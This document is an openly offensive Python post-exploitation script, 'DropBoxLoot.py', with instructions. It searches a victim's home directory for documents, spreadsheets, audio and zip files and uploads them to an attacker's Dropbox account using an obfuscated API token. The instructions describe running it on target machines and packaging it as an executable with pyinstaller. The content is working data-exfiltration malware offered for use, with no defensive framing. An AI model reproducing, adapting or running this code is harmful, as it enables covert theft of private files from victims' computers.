Python Script Post Exploitation Activities (Data Exfiltration where network bandwidth is limited but Dropbox is allowed).

DropBoxLoot.py

# -*- coding: utf-8 -*-
"""
@author: John Ombagi
"""

import os
import sys
import base64
import dropbox
import time
import random
from dropbox.files import WriteMode
from dropbox.exceptions import ApiError, AuthError

#time.sleep(60)

# Here > Add your Base64 Encoded Dropbox API Key
apikey = "d2otaXpleD.....Gdl80Mj=="

# Base64 Decoded API key
TOKEN = base64.b64decode(apikey)


# Random UID Generator
def UID(length):
    return ''.join(
        random.choice('abcdefghijklmnopqrstuvwxyz')
        for i in range(length)
        )


# Random ID for file upload
# If you have mutiple clients, they will all have unique IDs
stampID = "/"+UID(9)


def backup(foundfile):
    '''Uploads contents of LOCALFILE to Dropbox'''
    DBXpath = stampID + foundfile.strip("C://").replace("\\", "/")
    with open(foundfile, 'rb') as f:
        try:
            dbx.files_upload(f.read(), DBXpath, mode=WriteMode('overwrite'))
        except ApiError as err:
            print err


def seeker(ext):
    '''Function to search Local computer for files to upload'''
    path = os.getenv("HOME")

    try:
        for dirpath, dirname, files in os.walk(path):
            for one_file in files:
                if one_file.endswith(ext):
                    foundFile = os.path.join(dirpath, one_file)
                    backup(foundFile)

    except Exception as error:
        print(str(error))
        pass

# Program Starts here
dbx = dropbox.Dropbox(TOKEN)


# Key destroyed or exists?
try:
    dbx.users_get_current_account()
except AuthError as err:
    print("Auth Error")
    sys.exit()


# File-types to search
to_be_mined = (
    ".pdf", ".doc", ".docx", ".xls", ".xlsx",
            ".csv", ".ppt", ".pptx", ".wav", ".zip"
    )

# Get em Files
for gold_nugget in to_be_mined:
    seeker(gold_nugget)
    #    time.sleep(3600)

Create a Dropbox APP.
Use the APP's API on the script.
Execute the script on target machine and
Wait for it...

**Tip : you can bundle the script as an executable for the target host. Works perfectly fine for Linux Binaries using pyinstaller. Figuring out for Windows.

For Linux targets:

You should remove the strip and replace functions on variable DBXpath on line 39.

DBXpath = stampID + foundfile